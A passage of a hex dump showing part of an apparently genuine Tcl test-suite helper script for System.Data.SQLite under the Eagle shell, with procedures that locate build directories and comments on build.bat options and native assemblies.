20 20 20 24 \..$ 5400: 61 72 63 68 69 74 65 63 74 75 72 65 20 24 66 69 architecture $fi 5410: 6c 65 4e 61 6d 65 4f 6e 6c 79 5d 5d 0d 0a 0d 0a leNameOnly]].... 5420: 20 20 20 20 20 20 20 20 69 66 20 7b 5b 66 69 6c if {[fil 5430: 65 20 65 78 69 73 74 73 20 24 66 69 6c 65 4e 61 e exists$fileNa 5440: 6d 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 me]} then {.. 5450: 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 72 return tr 5460: 75 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d ue.. }... 5470: 0a 20 20 20 20 20 20 20 20 73 65 74 20 66 69 6c . set fil 5480: 65 4e 61 6d 65 20 5b 66 69 6c 65 20 6e 61 74 69 eName [file nati 5490: 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 6a 6f 69 vename [file joi 54a0: 6e 20 24 64 69 72 65 63 74 6f 72 79 20 5c 0d 0a n $directory \.. 54b0: 20 20 20 20 20 20 20 20 20 20 20 20 24 70 6c 61$pla 54c0: 74 66 6f 72 6d 20 24 66 69 6c 65 4e 61 6d 65 4f tform $fileNameO 54d0: 6e 6c 79 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 nly]].... 54e0: 20 69 66 20 7b 5b 66 69 6c 65 20 65 78 69 73 74 if {[file exist 54f0: 73 20 24 66 69 6c 65 4e 61 6d 65 5d 7d 20 74 68 s$fileName]} th 5500: 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 5510: 72 65 74 75 72 6e 20 74 72 75 65 0d 0a 20 20 20 return true.. 5520: 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 5530: 20 20 73 65 74 20 66 69 6c 65 4e 61 6d 65 20 5b set fileName [ 5540: 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 6d 65 20 file nativename 5550: 5b 66 69 6c 65 20 6a 6f 69 6e 20 24 64 69 72 65 [file join $dire 5560: 63 74 6f 72 79 20 5c 0d 0a 20 20 20 20 20 20 20 ctory \.. 5570: 20 20 20 20 20 24 66 69 6c 65 4e 61 6d 65 4f 6e$fileNameOn 5580: 6c 79 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 ly]].... 5590: 69 66 20 7b 5b 66 69 6c 65 20 65 78 69 73 74 73 if {[file exists 55a0: 20 24 66 69 6c 65 4e 61 6d 65 5d 7d 20 74 68 65 $fileName]} the 55b0: 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 72 n {.. r 55c0: 65 74 75 72 6e 20 74 72 75 65 0d 0a 20 20 20 20 eturn true.. 55d0: 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a }.. }.. 55e0: 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 55f0: 20 23 20 4e 4f 54 45 3a 20 4f 6e 65 20 6f 72 20 # NOTE: One or 5600: 6d 6f 72 65 20 6e 61 74 69 76 65 20 63 6f 6d 70 more native comp 5610: 6f 6e 65 6e 74 73 20 6e 65 65 64 65 64 20 62 79 onents needed by 5620: 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c System.Data.SQL 5630: 69 74 65 0d 0a 20 20 20 20 20 20 23 20 20 20 20 ite.. # 5640: 20 20 20 61 72 65 20 6d 69 73 73 69 6e 67 2e 0d are missing.. 5650: 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 5660: 72 65 74 75 72 6e 20 66 61 6c 73 65 0d 0a 20 20 return false.. 5670: 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 }..... proc 5680: 20 69 73 52 65 6c 65 61 73 65 41 76 61 69 6c 61 isReleaseAvaila 5690: 62 6c 65 20 7b 20 64 69 72 65 63 74 6f 72 79 20 ble { directory 56a0: 7b 76 61 72 4e 61 6d 65 20 22 22 7d 20 7d 20 7b {varName ""} } { 56b0: 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 73 74 72 .. if {[str 56c0: 69 6e 67 20 6c 65 6e 67 74 68 20 24 76 61 72 4e ing length$varN 56d0: 61 6d 65 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b ame] > 0} then { 56e0: 0d 0a 20 20 20 20 20 20 20 20 75 70 76 61 72 20 .. upvar 56f0: 31 20 24 76 61 72 4e 61 6d 65 20 24 76 61 72 4e 1 $varName$varN 5700: 61 6d 65 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a ame.. }.... 5710: 20 20 20 20 20 20 72 65 74 75 72 6e 20 5b 69 73 return [is 5720: 42 75 69 6c 64 41 76 61 69 6c 61 62 6c 65 20 22 BuildAvailable " 5730: 22 20 24 64 69 72 65 63 74 6f 72 79 20 24 76 61 " $directory$va 5740: 72 4e 61 6d 65 5d 0d 0a 20 20 20 20 7d 0d 0a 0c rName].. }... 5750: 0d 0a 20 20 20 20 70 72 6f 63 20 6a 6f 69 6e 42 .. proc joinB 5760: 75 69 6c 64 44 69 72 65 63 74 6f 72 79 20 7b 20 uildDirectory { 5770: 6e 61 74 69 76 65 20 70 61 74 68 20 79 65 61 72 native path year 5780: 20 70 6c 61 74 66 6f 72 6d 20 63 6f 6e 66 69 67 platform config 5790: 75 72 61 74 69 6f 6e 20 7d 20 7b 0d 0a 20 20 20 uration } {.. 57a0: 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f #.. # NO 57b0: 54 45 3a 20 46 69 67 75 72 65 20 6f 75 74 20 61 TE: Figure out a 57c0: 6e 64 20 74 68 65 6e 20 72 65 74 75 72 6e 20 74 nd then return t 57d0: 68 65 20 66 75 6c 6c 79 20 71 75 61 6c 69 66 69 he fully qualifi 57e0: 65 64 20 70 61 74 68 20 74 6f 20 74 68 65 20 62 ed path to the b 57f0: 75 69 6c 64 0d 0a 20 20 20 20 20 20 23 20 20 20 uild.. # 5800: 20 20 20 20 64 69 72 65 63 74 6f 72 79 20 62 61 directory ba 5810: 73 65 64 20 6f 6e 20 61 6c 6c 20 74 68 65 20 61 sed on all the a 5820: 72 67 75 6d 65 6e 74 73 20 70 72 6f 76 69 64 65 rguments provide 5830: 64 20 62 79 20 6f 75 72 20 63 61 6c 6c 65 72 2e d by our caller. 5840: 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 5850: 20 69 66 20 7b 24 6e 61 74 69 76 65 7d 20 74 68 if {$native} th 5860: 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 en {.. re 5870: 74 75 72 6e 20 5b 66 69 6c 65 20 6a 6f 69 6e 20 turn [file join 5880: 24 70 61 74 68 20 62 69 6e 20 24 79 65 61 72 20$path bin $year 5890: 24 70 6c 61 74 66 6f 72 6d 20 24 63 6f 6e 66 69$platform $confi 58a0: 67 75 72 61 74 69 6f 6e 5d 0d 0a 20 20 20 20 20 guration].. 58b0: 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 } else {.. 58c0: 20 20 20 72 65 74 75 72 6e 20 5b 66 69 6c 65 20 return [file 58d0: 6a 6f 69 6e 20 24 70 61 74 68 20 62 69 6e 20 24 join$path bin $58e0: 79 65 61 72 20 24 63 6f 6e 66 69 67 75 72 61 74 year$configurat 58f0: 69 6f 6e 20 62 69 6e 5d 0d 0a 20 20 20 20 20 20 ion bin].. 5900: 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 }.. }..... 5910: 20 70 72 6f 63 20 67 65 74 42 75 69 6c 64 44 69 proc getBuildDi 5920: 72 65 63 74 6f 72 79 20 7b 7d 20 7b 0d 0a 20 20 rectory {} {.. 5930: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e #.. # N 5940: 4f 54 45 3a 20 53 65 65 20 69 66 20 74 68 65 20 OTE: See if the 5950: 22 6e 61 74 69 76 65 22 20 72 75 6e 74 69 6d 65 "native" runtime 5960: 20 6f 70 74 69 6f 6e 20 68 61 73 20 62 65 65 6e option has been 5970: 20 73 65 74 2e 20 20 49 66 20 73 6f 2c 20 75 73 set. If so, us 5980: 65 20 74 68 65 0d 0a 20 20 20 20 20 20 23 20 20 e the.. # 5990: 20 20 20 20 20 64 69 72 65 63 74 6f 72 79 20 66 directory f 59a0: 6f 72 20 74 68 65 20 6d 69 78 65 64 2d 6d 6f 64 or the mixed-mod 59b0: 65 20 61 73 73 65 6d 62 6c 79 20 28 61 2e 6b 2e e assembly (a.k. 59c0: 61 2e 20 74 68 65 20 6e 61 74 69 76 65 20 69 6e a. the native in 59d0: 74 65 72 6f 70 0d 0a 20 20 20 20 20 20 23 20 20 terop.. # 59e0: 20 20 20 20 20 61 73 73 65 6d 62 6c 79 29 2e 20 assembly). 59f0: 20 54 6f 20 65 6e 61 62 6c 65 20 74 68 69 73 20 To enable this 5a00: 6f 70 74 69 6f 6e 20 76 69 61 20 74 68 65 20 63 option via the c 5a10: 6f 6d 6d 61 6e 64 20 6c 69 6e 65 2c 20 65 6e 74 ommand line, ent 5a20: 65 72 20 61 0d 0a 20 20 20 20 20 20 23 20 20 20 er a.. # 5a30: 20 20 20 20 63 6f 6d 6d 61 6e 64 20 73 69 6d 69 command simi 5a40: 6c 61 72 20 74 6f 20 6f 6e 65 20 6f 66 20 74 68 lar to one of th 5a50: 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 28 61 6c 6c e following (all 5a60: 20 6f 6e 20 6f 6e 65 20 6c 69 6e 65 29 3a 0d 0a on one line):.. 5a70: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 #.. # 5a80: 20 20 20 20 20 20 20 45 61 67 6c 65 53 68 65 6c EagleShel 5a90: 6c 2e 65 78 65 20 2d 69 6e 69 74 69 61 6c 69 7a l.exe -initializ 5aa0: 65 20 2d 72 75 6e 74 69 6d 65 4f 70 74 69 6f 6e e -runtimeOption 5ab0: 20 6e 61 74 69 76 65 0d 0a 20 20 20 20 20 20 23 native.. # 5ac0: 20 20 20 20 20 20 20 20 20 2d 66 69 6c 65 20 2e -file . 5ad0: 5c 70 61 74 68 5c 74 6f 5c 61 6c 6c 2e 65 61 67 \path\to\all.eag 5ae0: 6c 65 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 le.. #.. 5af0: 20 20 20 23 20 20 20 20 20 20 20 54 6f 20 65 6e # To en 5b00: 61 62 6c 65 20 74 68 69 73 20 6f 70 74 69 6f 6e able this option 5b10: 20 76 69 61 20 74 68 65 20 63 6f 6d 6d 61 6e 64 via the command 5b20: 20 6c 69 6e 65 20 70 72 69 6f 72 20 74 6f 20 74 line prior to t 5b30: 68 65 20 22 62 65 74 61 20 31 36 22 0d 0a 20 20 he "beta 16".. 5b40: 20 20 20 20 23 20 20 20 20 20 20 20 72 65 6c 65 # rele 5b50: 61 73 65 20 6f 66 20 45 61 67 6c 65 2c 20 74 68 ase of Eagle, th 5b60: 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 63 6f 6d 6d e following comm 5b70: 61 6e 64 20 6d 75 73 74 20 62 65 20 75 73 65 64 and must be used 5b80: 20 69 6e 73 74 65 61 64 0d 0a 20 20 20 20 20 20 instead.. 5b90: 23 20 20 20 20 20 20 20 28 61 6c 73 6f 20 61 6c # (also al 5ba0: 6c 20 6f 6e 20 6f 6e 65 20 6c 69 6e 65 29 3a 0d l on one line):. 5bb0: 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 5bc0: 23 20 20 20 20 20 20 20 45 61 67 6c 65 53 68 65 # EagleShe 5bd0: 6c 6c 2e 65 78 65 20 2d 69 6e 69 74 69 61 6c 69 ll.exe -initiali 5be0: 7a 65 20 2d 70 6f 73 74 49 6e 69 74 69 61 6c 69 ze -postInitiali 5bf0: 7a 65 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 ze.. # 5c00: 20 20 20 20 22 6f 62 6a 65 63 74 20 69 6e 76 6f "object invo 5c10: 6b 65 20 49 6e 74 65 72 70 72 65 74 65 72 2e 47 ke Interpreter.G 5c20: 65 74 41 63 74 69 76 65 20 41 64 64 52 75 6e 74 etActive AddRunt 5c30: 69 6d 65 4f 70 74 69 6f 6e 20 6e 61 74 69 76 65 imeOption native 5c40: 22 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 ".. # 5c50: 20 20 20 2d 66 69 6c 65 20 2e 5c 70 61 74 68 5c -file .\path\ 5c60: 74 6f 5c 61 6c 6c 2e 65 61 67 6c 65 0d 0a 20 20 to\all.eagle.. 5c70: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 #.. if 5c80: 7b 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a {[info exists :: 5c90: 62 75 69 6c 64 5f 64 69 72 65 63 74 6f 72 79 5d build_directory] 5ca0: 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 && \.. 5cb0: 20 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 [string length 5cc0: 24 3a 3a 62 75 69 6c 64 5f 64 69 72 65 63 74 6f $::build_directo 5cd0: 72 79 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d ry] > 0} then {. 5ce0: 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 5cf0: 20 20 20 20 23 20 4e 4f 54 45 3a 20 54 68 65 20 # NOTE: The 5d00: 6c 6f 63 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 location of the 5d10: 62 75 69 6c 64 20 64 69 72 65 63 74 6f 72 79 20 build directory 5d20: 68 61 73 20 62 65 65 6e 20 6f 76 65 72 72 69 64 has been overrid 5d30: 64 65 6e 3b 0d 0a 20 20 20 20 20 20 20 20 23 20 den;.. # 5d40: 20 20 20 20 20 20 74 68 65 72 65 66 6f 72 65 2c therefore, 5d50: 20 75 73 65 20 69 74 20 76 65 72 62 61 74 69 6d use it verbatim 5d60: 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 5d70: 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 3a 3a return$:: 5d80: 62 75 69 6c 64 5f 64 69 72 65 63 74 6f 72 79 0d build_directory. 5d90: 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d . } else {. 5da0: 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 5db0: 20 20 20 20 23 20 4e 4f 54 45 3a 20 49 66 20 74 # NOTE: If t 5dc0: 68 65 20 22 6e 61 74 69 76 65 22 20 72 75 6e 74 he "native" runt 5dd0: 69 6d 65 20 6f 70 74 69 6f 6e 20 69 73 20 73 65 ime option is se 5de0: 74 2c 20 74 68 65 20 6d 69 78 65 64 2d 6d 6f 64 t, the mixed-mod 5df0: 65 20 61 73 73 65 6d 62 6c 79 0d 0a 20 20 20 20 e assembly.. 5e00: 20 20 20 20 23 20 20 20 20 20 20 20 69 73 20 62 # is b 5e10: 65 69 6e 67 20 74 65 73 74 65 64 2e 20 20 49 6e eing tested. In 5e20: 20 74 68 61 74 20 63 61 73 65 2c 20 74 68 65 20 that case, the 5e30: 70 61 74 68 20 74 6f 20 74 68 65 20 62 75 69 6c path to the buil 5e40: 64 20 64 69 72 65 63 74 6f 72 79 0d 0a 20 20 20 d directory.. 5e50: 20 20 20 20 20 23 20 20 20 20 20 20 20 77 69 6c # wil 5e60: 6c 20 63 6f 6e 74 61 69 6e 20 74 68 65 20 70 6c l contain the pl 5e70: 61 74 66 6f 72 6d 20 6e 61 6d 65 20 61 6e 64 20 atform name and 5e80: 61 6c 6c 20 74 68 65 20 62 69 6e 61 72 69 65 73 all the binaries 5e90: 20 75 6e 64 65 72 20 74 65 73 74 0d 0a 20 20 20 under test.. 5ea0: 20 20 20 20 20 23 20 20 20 20 20 20 20 73 68 6f # sho 5eb0: 75 6c 64 20 62 65 20 70 72 65 73 65 6e 74 20 69 uld be present i 5ec0: 6e 20 74 68 61 74 20 64 69 72 65 63 74 6f 72 79 n that directory 5ed0: 2e 20 20 49 66 20 74 68 65 20 22 6e 61 74 69 76 . If the "nativ 5ee0: 65 22 20 72 75 6e 74 69 6d 65 0d 0a 20 20 20 20 e" runtime.. 5ef0: 20 20 20 20 23 20 20 20 20 20 20 20 6f 70 74 69 # opti 5f00: 6f 6e 20 69 73 20 6e 6f 74 20 73 65 74 2c 20 74 on is not set, t 5f10: 68 65 20 62 75 69 6c 64 20 64 69 72 65 63 74 6f he build directo 5f20: 72 79 20 77 69 6c 6c 20 62 65 20 63 6f 6e 73 69 ry will be consi 5f30: 64 65 72 65 64 20 74 6f 20 62 65 0d 0a 20 20 20 dered to be.. 5f40: 20 20 20 20 20 23 20 20 20 20 20 20 20 22 70 6c # "pl 5f50: 61 74 66 6f 72 6d 2d 6e 65 75 74 72 61 6c 22 2c atform-neutral", 5f60: 20 77 69 74 68 20 74 68 65 20 6e 6f 74 61 62 6c with the notabl 5f70: 65 20 65 78 63 65 70 74 69 6f 6e 20 6f 66 20 61 e exception of a 5f80: 6e 79 20 6e 61 74 69 76 65 0d 0a 20 20 20 20 20 ny native.. 5f90: 20 20 20 23 20 20 20 20 20 20 20 61 73 73 65 6d # assem 5fa0: 62 6c 79 20 28 65 2e 67 2e 20 22 53 51 4c 69 74 bly (e.g. "SQLit 5fb0: 65 2e 49 6e 74 65 72 6f 70 2e 64 6c 6c 22 29 20 e.Interop.dll") 5fc0: 63 6f 70 69 65 64 20 74 68 65 72 65 20 64 75 72 copied there dur 5fd0: 69 6e 67 20 74 68 65 0d 0a 20 20 20 20 20 20 20 ing the.. 5fe0: 20 23 20 20 20 20 20 20 20 62 75 69 6c 64 20 70 # build p 5ff0: 72 6f 63 65 73 73 20 69 74 73 65 6c 66 2e 20 20 rocess itself. 6000: 49 66 20 74 68 65 20 62 75 69 6c 64 20 70 72 6f If the build pro 6010: 63 65 73 73 20 73 6f 6d 65 68 6f 77 20 64 6f 65 cess somehow doe 6020: 73 20 6e 6f 74 0d 0a 20 20 20 20 20 20 20 20 23 s not.. # 6030: 20 20 20 20 20 20 20 63 6f 70 79 20 74 68 65 20 copy the 6040: 6e 61 74 69 76 65 20 61 73 73 65 6d 62 6c 79 20 native assembly 6050: 66 6f 72 20 74 68 69 73 20 70 6c 61 74 66 6f 72 for this platfor 6060: 6d 2c 20 6d 6f 73 74 20 6f 66 20 74 68 65 20 74 m, most of the t 6070: 65 73 74 73 0d 0a 20 20 20 20 20 20 20 20 23 20 ests.. # 6080: 20 20 20 20 20 20 69 6e 20 74 68 65 20 73 75 69 in the sui 6090: 74 65 20 77 69 6c 6c 20 73 69 6d 70 6c 79 20 62 te will simply b 60a0: 65 20 73 6b 69 70 70 65 64 2e 20 20 47 65 6e 65 e skipped. Gene 60b0: 72 61 6c 6c 79 20 73 70 65 61 6b 69 6e 67 2c 20 rally speaking, 60c0: 74 68 65 72 65 0d 0a 20 20 20 20 20 20 20 20 23 there.. # 60d0: 20 20 20 20 20 20 20 61 72 65 20 74 77 6f 20 77 are two w 60e0: 61 79 73 20 74 6f 20 62 75 69 6c 64 20 74 68 65 ays to build the 60f0: 20 62 69 6e 61 72 69 65 73 20 77 68 65 6e 20 70 binaries when p 6100: 72 65 70 61 72 69 6e 67 20 74 6f 20 72 75 6e 20 reparing to run 6110: 74 68 65 0d 0a 20 20 20 20 20 20 20 20 23 20 20 the.. # 6120: 20 20 20 20 20 74 65 73 74 20 73 75 69 74 65 3a test suite: 6130: 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. 6140: 20 20 20 20 20 23 20 20 20 20 20 20 20 31 2e 20 # 1. 6150: 42 75 69 6c 64 20 74 68 65 20 73 65 70 61 72 61 Build the separa 6160: 74 65 20 6d 61 6e 61 67 65 64 20 61 6e 64 20 6e te managed and n 6170: 61 74 69 76 65 20 61 73 73 65 6d 62 6c 69 65 73 ative assemblies 6180: 20 75 73 69 6e 67 20 73 6f 6d 65 0d 0a 20 20 20 using some.. 6190: 20 20 20 20 20 23 20 20 20 20 20 20 20 20 20 20 # 61a0: 63 6f 6d 6d 61 6e 64 73 20 73 69 6d 69 6c 61 72 commands similar 61b0: 20 74 6f 3a 0d 0a 20 20 20 20 20 20 20 20 23 0d to:.. #. 61c0: 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 . # 61d0: 20 20 20 20 62 75 69 6c 64 2e 62 61 74 20 24 7b build.bat ${ 61e0: 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 7d 4d 61 Configuration}Ma 61f0: 6e 61 67 65 64 4f 6e 6c 79 20 24 7b 50 6c 61 74 nagedOnly${Plat 6200: 66 6f 72 6d 7d 0d 0a 20 20 20 20 20 20 20 20 23 form}.. # 6210: 20 20 20 20 20 20 20 20 20 20 62 75 69 6c 64 2e build. 6220: 62 61 74 20 24 7b 43 6f 6e 66 69 67 75 72 61 74 bat ${Configurat 6230: 69 6f 6e 7d 4e 61 74 69 76 65 4f 6e 6c 79 20 24 ion}NativeOnly$ 6240: 7b 50 6c 61 74 66 6f 72 6d 7d 0d 0a 20 20 20 20 {Platform}.. 6250: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 #.. # 6260: 20 20 20 20 20 20 20 20 20 20 57 68 65 72 65 20 Where 6270: 24 7b 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 7d ${Configuration} 6280: 20 69 73 20 65 69 74 68 65 72 20 22 44 65 62 75 is either "Debu 6290: 67 22 20 6f 72 20 22 52 65 6c 65 61 73 65 22 20 g" or "Release" 62a0: 61 6e 64 0d 0a 20 20 20 20 20 20 20 20 23 20 20 and.. # 62b0: 20 20 20 20 20 20 20 20 24 7b 50 6c 61 74 66 6f${Platfo 62c0: 72 6d 7d 20 69 73 20 65 69 74 68 65 72 20 22 57 rm} is either "W 62d0: 69 6e 33 32 22 20 6f 72 20 22 78 36 34 22 2e 0d in32" or "x64".. 62e0: 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 62f0: 20 20 20 20 23 20 20 20 20 20 20 20 32 2e 20 42 # 2. B 6300: 75 69 6c 64 20 74 68 65 20 6d 69 78 65 64 2d 6d uild the mixed-m 6310: 6f 64 65 20 61 73 73 65 6d 62 6c 79 20 75 73 69 ode assembly usi 6320: 6e 67 20 61 20 63 6f 6d 6d 61 6e 64 20 73 69 6d ng a command sim 6330: 69 6c 61 72 20 74 6f 3a 0d 0a 20 20 20 20 20 20 ilar to:.. 6340: 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 20 #.. # 6350: 20 20 20 20 20 20 20 20 62 75 69 6c 64 2e 62 61 build.ba 6360: 74 20 24 7b 43 6f 6e 66 69 67 75 72 61 74 69 6f t ${Configuratio 6370: 6e 7d 20 24 7b 50 6c 61 74 66 6f 72 6d 7d 0d 0a n}${Platform}.. 6380: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 6390: 20 20 20 23 20 20 20 20 20 20 20 20 20 20 57 68 # Wh 63a0: 65 72 65 20 24 7b 43 6f 6e 66 69 67 75 72 61 74 ere ${Configurat 63b0: 69 6f 6e 7d 20 69 73 20 65 69 74 68 65 72 20 22 ion} is either " 63c0: 44 65 62 75 67 22 20 6f 72 20 22 52 65 6c 65 61 Debug" or "Relea 63d0: 73 65 22 20 61 6e 64 0d 0a 20 20 20 20 20 20 20 se" and.. 63e0: 20 23 20 20 20 20 20 20 20 20 20 20 24 7b 50 6c #${Pl 63f0: 61 74 66 6f 72 6d 7d 20 69 73 20 65 69 74 68 65 atform} is eithe 6400: 72 20 22 57 69 6e 33 32 22 20 6f 72 20 22 78 36 r "Win32" or "x6 6410: 34 22 2e 20 20 49 66 20 74 68 69 73 20 63 6f 6d 4". If this com 6420: 6d 61 6e 64 20 69 73 0d 0a 20 20 20 20 20 20 20 mand is.. 6430: 20 23 20 20 20 20 20 20 20 20 20 20 75 73 65 64 # used 6440: 2c 20 76 61 72 69 6f 75 73 20 74 65 73 74 73 20 , various tests 6450: 74 68 61 74 20 72 65 71 75 69 72 65 20 73 75 70 that require sup 6460: 70 6c 65 6d 65 6e 74 61 72 79 20 6d 61 6e 61 67 plementary manag 6470: 65 64 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 ed.. # 6480: 20 20 20 20 20 20 20 61 73 73 65 6d 62 6c 69 65 assemblie 6490: 73 20 28 65 2e 67 2e 20 4c 49 4e 51 29 20 6d 61 s (e.g. LINQ) ma 64a0: 79 20 62 65 20 73 6b 69 70 70 65 64 20 75 6e 6c y be skipped unl 64b0: 65 73 73 20 74 68 6f 73 65 20 62 69 6e 61 72 69 ess those binari 64c0: 65 73 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 es.. # 64d0: 20 20 20 20 20 20 20 61 72 65 20 73 75 62 73 65 are subse 64e0: 71 75 65 6e 74 6c 79 20 63 6f 70 69 65 64 20 69 quently copied i 64f0: 6e 74 6f 20 74 68 65 20 63 6f 72 72 65 63 74 20 nto the correct 6500: 64 69 72 65 63 74 6f 72 79 20 28 69 2e 65 2e 20 directory (i.e. 6510: 62 79 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 by.. # 6520: 20 20 20 20 20 20 20 22 74 65 73 74 5f 61 6c 6c "test_all 6530: 2e 62 61 74 22 29 2e 0d 0a 20 20 20 20 20 20 20 .bat")... 6540: 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 #.. # 6550: 20 20 20 20 4e 6f 74 65 20 74 68 61 74 20 61 6c Note that al 6560: 6c 20 6f 66 20 74 68 65 20 62 75 69 6c 64 20 63 l of the build c 6570: 6f 6d 6d 61 6e 64 73 20 61 62 6f 76 65 20 77 69 ommands above wi 6580: 6c 6c 20 64 65 66 61 75 6c 74 20 74 6f 20 75 73 ll default to us 6590: 69 6e 67 0d 0a 20 20 20 20 20 20 20 20 23 20 20 ing.. # 65a0: 20 20 20 20 20 74 68 65 20 6c 61 74 65 73 74 20 the latest 65b0: 76 65 72 73 69 6f 6e 20 6f 66 20 4d 53 42 75 69 version of MSBui 65c0: 6c 64 20 61 76 61 69 6c 61 62 6c 65 20 61 6e 64 ld available and 65d0: 20 74 68 65 20 22 74 65 73 74 5f 79 65 61 72 22 the "test_year" 65e0: 20 6d 61 79 0d 0a 20 20 20 20 20 20 20 20 23 20 may.. # 65f0: 20 20 20 20 20 20 6e 65 65 64 20 74 6f 20 62 65 need to be 6600: 20 61 64 6a 75 73 74 65 64 20 61 63 63 6f 72 64 adjusted accord 6610: 69 6e 67 6c 79 20 74 6f 20 61 63 74 75 61 6c 6c ingly to actuall 6620: 79 20 72 75 6e 20 74 68 65 20 74 65 73 74 20 73 y run the test s 6630: 75 69 74 65 2e 0d 0a 20 20 20 20 20 20 20 20 23 uite... # 6640: 20 20 20 20 20 20 20 52 65 66 65 72 20 74 6f 20 Refer to 6650: 74 68 65 20 63 6f 6d 6d 65 6e 74 73 20 69 6e 20 the comments in 6660: 5b 67 65 74 42 75 69 6c 64 59 65 61 72 5d 20 66 [getBuildYear] f 6670: 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 or more informat 6680: 69 6f 6e 20 6f 6e 0d 0a 20 20 20 20 20 20 20 20 ion on.. 6690: 23 20 20 20 20 20 20 20 68 6f 77 20 74 6f 20 73 # how to s 66a0: 65 74 20 74 68 69 73 20 76 61 72 69 61 62 6c 65 et this variable 66b0: 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 66c0: 20 20 20 20 20 20 73 65 74 20 6e 61 74 69 76 65 set native 66d0: 20 5b 68 61 73 52 75 6e 74 69 6d 65 4f 70 74 69 [hasRuntimeOpti 66e0: 6f 6e 20 6e 61 74 69 76 65 5d 0d 0a 0d 0a 20 20 on native].... 66f0: 20 20 20 20 20 20 72 65 74 75 72 6e 20 5b 6a 6f return [jo 6700: 69 6e 42 75 69 6c 64 44 69 72 65 63 74 6f 72 79 inBuildDirectory 6710: 20 24 6e 61 74 69 76 65 20 5b 67 65 74 42 75 69 $native [getBui 6720: 6c 64 42 61 73 65 44 69 72 65 63 74 6f 72 79 5d ldBaseDirectory] 6730: 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 6740: 5b 67 65 74 42 75 69 6c 64 59 65 61 72 5d 20 5b [getBuildYear] [ 6750: 67 65 74 42 75 69 6c 64 50 6c 61 74 66 6f 72 6d getBuildPlatform 6760: 20 24 6e 61 74 69 76 65 5d 20 5b 67 65 74 42 75$native] [getBu 6770: 69 6c 64 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e ildConfiguration 6780: 5d 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 ]].. }.. 6790: 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 }..... proc 67a0: 67 65 74 52 65 6c 65 61 73 65 56 65 72 73 69 6f getReleaseVersio 67b0: 6e 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 23 0d n {} {.. #. 67c0: 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 46 . # NOTE: F 67d0: 69 67 75 72 65 20 6f 75 74 20 74 68 65 20 72 65 igure out the re 67e0: 6c 65 61 73 65 20 76 65 72 73 69 6f 6e 20 66 6f lease version fo 67f0: 72 20 75 73 65 20 77 69 74 68 20 74 68 65 20 62 r use with the b 6800: 75 69 6c 64 20 64 69 72 65 63 74 6f 72 79 0d 0a uild directory.. 6810: 20 20 20 20 20 20 23 20 20 20 20 20 20 20 77 68 # wh 6820: 65 6e 20 63 68 65 63 6b 69 6e 67 20 66 6f 72 20 en 